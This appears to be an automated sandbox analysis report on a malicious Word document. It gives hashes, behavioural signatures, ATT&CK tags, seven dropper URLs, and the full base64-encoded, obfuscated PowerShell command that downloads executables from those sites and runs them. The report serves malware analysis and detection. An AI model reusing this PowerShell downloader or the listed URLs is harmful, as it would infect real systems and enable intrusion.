9aabec7933de24943ec1ceb8ad895cecabc33d39bb3aff928987ffc948402610

General

Target

impormasyon #PK03016350.doc
Size

225KB
MD5

3845abf7b760cfad84c6ff2b171baf11
SHA1

f8abcf035042ac2fa8e9c8f371b194b187592c08
SHA256

9aabec7933de24943ec1ceb8ad895cecabc33d39bb3aff928987ffc948402610
SHA512

b69c53b6ded187b25ea27054acab625eb10adc6e6d602662084b00b68a5d6144ab3c8d8981c8a6729f4f87bf19b8c4dcdfd809721af6ac2d3f7555ea8cd3a814
SSDEEP

3072:f4PrXcuQuvpzm4bkiaMQgAlSUlK4fbSpAA:QDRv1m4bnQgISSKQepAA

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://marmolhi.com/_vti_bin/0nNKKlWZ4/

exe.dropper

https://comerciopuravida.com/wp-admin/qqUV32Q/

exe.dropper

http://www.closmaq.com.br/wp-admin/nc/

exe.dropper

http://pulseti.com/isla/61D/

exe.dropper

https://hotelunique.com/teste/oxda9J0BvF/

exe.dropper

http://greensync.com.br/aspnet_clientOld/Xyicd/

exe.dropper

http://muabannodanluat.com/wp-admin/css/colors/kIxtL8/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5092	1508	powershell.exe

Blocklisted process makes network request 8 IoCs

Processes:

powershell.exe

flow	pid	process
31	5092	powershell.exe
35	5092	powershell.exe
46	5092	powershell.exe
49	5092	powershell.exe
51	5092	powershell.exe
57	5092	powershell.exe
64	5092	powershell.exe
70	5092	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1504 WINWORD.EXE
1504 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

5092 powershell.exe
5092 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 5092 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1504 WINWORD.EXE
1504 WINWORD.EXE
1504 WINWORD.EXE
1504 WINWORD.EXE
1504 WINWORD.EXE
1504 WINWORD.EXE
1504 WINWORD.EXE

pid	process
1504	WINWORD.EXE
1504	WINWORD.EXE

pid	process
5092	powershell.exe
5092	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5092	powershell.exe

pid	process
1504	WINWORD.EXE
1504	WINWORD.EXE
1504	WINWORD.EXE
1504	WINWORD.EXE
1504	WINWORD.EXE
1504	WINWORD.EXE
1504	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\impormasyon #PK03016350.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1504

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABPAGcAOABiAHcAMgByAD0AKAAnAFMAJwArACgAJwAyACcAKwAnAGUAOQAzAGIAXwAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAHIAbwBGAGkAbABlAFwATgBOAF8AVgBEADAAMABcAFcAOAA3AGMAVQBaAEYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAcgBgAGkAYABUAFkAYABQAFIAbwB0AE8AYwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAxADIALAAnACkAKwAoACcAIAB0AGwAcwAnACsAJwAxADEAJwApACsAKAAnACwAJwArACcAIAB0ACcAKQArACcAbABzACcAKQA7ACQARgBkAGgAZAB2AHYAXwAgAD0AIAAoACcAQgBzACcAKwAoACcAeABnACcAKwAnADQAbQBlACcAKQArACcAaQAnACkAOwAkAFYANwBjADEANgBtAHUAPQAoACgAJwBFAHQAJwArACcAbwB5ACcAKQArACcAOQAnACsAJwBjADQAJwApADsAJABGAHEAMgAzAF8AdwA5AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHIAQQAnACsAJwBDACcAKwAoACcATgAnACsAJwBuAF8AdgBkACcAKwAnADAAMAAnACsAJwByAEEAQwBXADgAJwArACcANwBjAHUAegBmACcAKwAnAHIAJwApACsAJwBBAEMAJwApAC4AIgByAGUAcABgAGwAQQBDAEUAIgAoACgAWwBjAGgAQQBSAF0AMQAxADQAKwBbAGMAaABBAFIAXQA2ADUAKwBbAGMAaABBAFIAXQA2ADcAKQAsAFsAUwB0AHIASQBuAGcAXQBbAGMAaABBAFIAXQA5ADIAKQApACsAJABGAGQAaABkAHYAdgBfACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQATwA3AG0ANgBiAGYANQA9ACgAJwBKAGIAJwArACgAJwBjAGMAJwArACcAMAAnACkAKwAnAGkAaQAnACkAOwAkAFYAcgBvAGUAcgBtAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AVwBFAEIAQwBMAEkAZQBOAHQAOwAkAEEAeAB5AG0AYQBfAGUAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwBtAGEAcgAnACkAKwAoACcAbQBvACcAKwAnAGwAaABpAC4AYwBvAG0ALwAnACsAJwBfACcAKwAnAHYAJwApACsAJwB0ACcAKwAnAGkAXwAnACsAKAAnAGIAJwArACcAaQBuAC8AMABuAE4ASwAnACsAJwBLACcAKQArACcAbABXACcAKwAnAFoAJwArACgAJwA0AC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAJwArACcAcABzADoAJwArACcALwAvAGMAbwBtACcAKQArACgAJwBlAHIAYwAnACsAJwBpAG8AcAAnACsAJwB1AHIAYQB2ACcAKwAnAGkAJwArACcAZABhACcAKQArACcALgAnACsAKAAnAGMAbwBtACcAKwAnAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkAG0AaQBuAC8AJwApACsAKAAnAHEAJwArACcAcQBVACcAKQArACcAVgAzACcAKwAoACcAMgAnACsAJwBRAC8AJwApACsAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AYwBsAG8AJwArACcAcwAnACkAKwAnAG0AYQAnACsAJwBxAC4AJwArACgAJwBjAG8AbQAnACsAJwAuAGIAJwApACsAJwByACcAKwAoACcALwB3AHAALQBhACcAKwAnAGQAJwArACcAbQBpAG4AJwApACsAJwAvAG4AJwArACgAJwBjACcAKwAnAC8AKgAnACkAKwAoACcAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAJwArACcAOgAvAC8AcAB1ACcAKwAnAGwAcwBlACcAKQArACgAJwB0AGkAJwArACcALgBjAG8AJwApACsAKAAnAG0AJwArACcALwBpACcAKQArACcAcwBsACcAKwAoACcAYQAvADYAMQBEAC8AJwArACcAKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGgAJwApACsAKAAnAG8AdABlACcAKwAnAGwAdQBuAGkAJwArACcAcQAnACkAKwAoACcAdQBlACcAKwAnAC4AJwApACsAJwBjAG8AJwArACcAbQAvACcAKwAoACcAdABlACcAKwAnAHMAdABlAC8AbwB4ACcAKQArACgAJwBkAGEAOQAnACsAJwBKACcAKQArACgAJwAwACcAKwAnAEIAdgAnACkAKwAnAEYALwAnACsAJwAqACcAKwAoACcAaAB0ACcAKwAnAHQAcAA6AC8ALwBnACcAKwAnAHIAZQAnACkAKwAoACcAZQBuAHMAJwArACcAeQBuAGMAJwArACcALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALgBiACcAKwAnAHIAJwApACsAJwAvAGEAJwArACgAJwBzAHAAbgAnACsAJwBlACcAKQArACcAdAAnACsAJwBfAGMAJwArACcAbAAnACsAKAAnAGkAZQAnACsAJwBuACcAKQArACcAdAAnACsAKAAnAE8AbAAnACsAJwBkACcAKQArACgAJwAvAFgAeQBpAGMAZAAnACsAJwAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAvAG0AdQBhAGIAJwApACsAKAAnAGEAJwArACcAbgAnACsAJwBuAG8AJwArACcAZABhAG4AbAB1AGEAdAAnACkAKwAoACcALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAnACkAKwAoACcALQBhAGQAbQBpAG4ALwAnACsAJwBjAHMAcwAvAGMAJwArACcAbwAnACkAKwAnAGwAJwArACcAbwByACcAKwAoACcAcwAvACcAKwAnAGsAJwApACsAJwBJAHgAJwArACcAdABMACcAKwAnADgALwAnACkALgAiAHMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgB2ADQANgBwAHoANgA9ACgAJwBPACcAKwAoACcAXwAnACsAJwB3AHQAJwApACsAKAAnAHYANgAnACsAJwBkACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARABiAGYAZgB0ADQAOAAgAGkAbgAgACQAQQB4AHkAbQBhAF8AZQApAHsAdAByAHkAewAkAFYAcgBvAGUAcgBtAHMALgAiAEQAYABvAHcAbgBsAGAATwBBAEQAZgBpAGAAbABFACIAKAAkAEQAYgBmAGYAdAA0ADgALAAgACQARgBxADIAMwBfAHcAOQApADsAJABWAGwAaQBxADMAbwBwAD0AKAAoACcAQgBmAG4ANQAnACsAJwBqACcAKQArACcAcwBfACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABGAHEAMgAzAF8AdwA5ACkALgAiAGwAYABFAGAATgBnAHQASAAiACAALQBnAGUAIAAzADgAMwA5ADYAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQARgBxADIAMwBfAHcAOQApADsAJABJAF8AbgBrADkAcQA3AD0AKAAnAFgAawAnACsAKAAnAGMAdAAnACsAJwBsAG0AcwAnACkAKQA7AGIAcgBlAGEAawA7ACQAUQBpAHgAYQA0AGwAawA9ACgAJwBEADUAJwArACgAJwBqAG0AYgAnACsAJwBmAGQAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAaQBqADYAMgBmADgAPQAoACgAJwBKAG8AJwArACcANgAnACkAKwAoACcAZABuACcAKwAnAGUAMQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5092

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lhpynbky.xrb.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1504-139-0x00007FF842250000-0x00007FF842260000-memory.dmp

Filesize
64KB

Download
memory/1504-135-0x00007FF844A70000-0x00007FF844A80000-memory.dmp

Filesize
64KB

Download
memory/1504-136-0x00007FF844A70000-0x00007FF844A80000-memory.dmp

Filesize
64KB

Download
memory/1504-137-0x00007FF844A70000-0x00007FF844A80000-memory.dmp

Filesize
64KB

Download
memory/1504-138-0x00007FF842250000-0x00007FF842260000-memory.dmp

Filesize
64KB

Download
memory/1504-133-0x00007FF844A70000-0x00007FF844A80000-memory.dmp

Filesize
64KB

Download
memory/1504-183-0x00000171ECDC0000-0x00000171ECFC0000-memory.dmp

Filesize
2.0MB

Download
memory/1504-134-0x00007FF844A70000-0x00007FF844A80000-memory.dmp

Filesize
64KB

Download
memory/1504-205-0x00000171ECDC0000-0x00000171ECFC0000-memory.dmp

Filesize
2.0MB

Download
memory/5092-185-0x0000021CF7F40000-0x0000021CF7F50000-memory.dmp

Filesize
64KB

Download
memory/5092-184-0x0000021CF7F40000-0x0000021CF7F50000-memory.dmp

Filesize
64KB

Download
memory/5092-191-0x0000021CF80F0000-0x0000021CF8112000-memory.dmp

Filesize
136KB

Download
memory/5092-196-0x0000021CF7F40000-0x0000021CF7F50000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads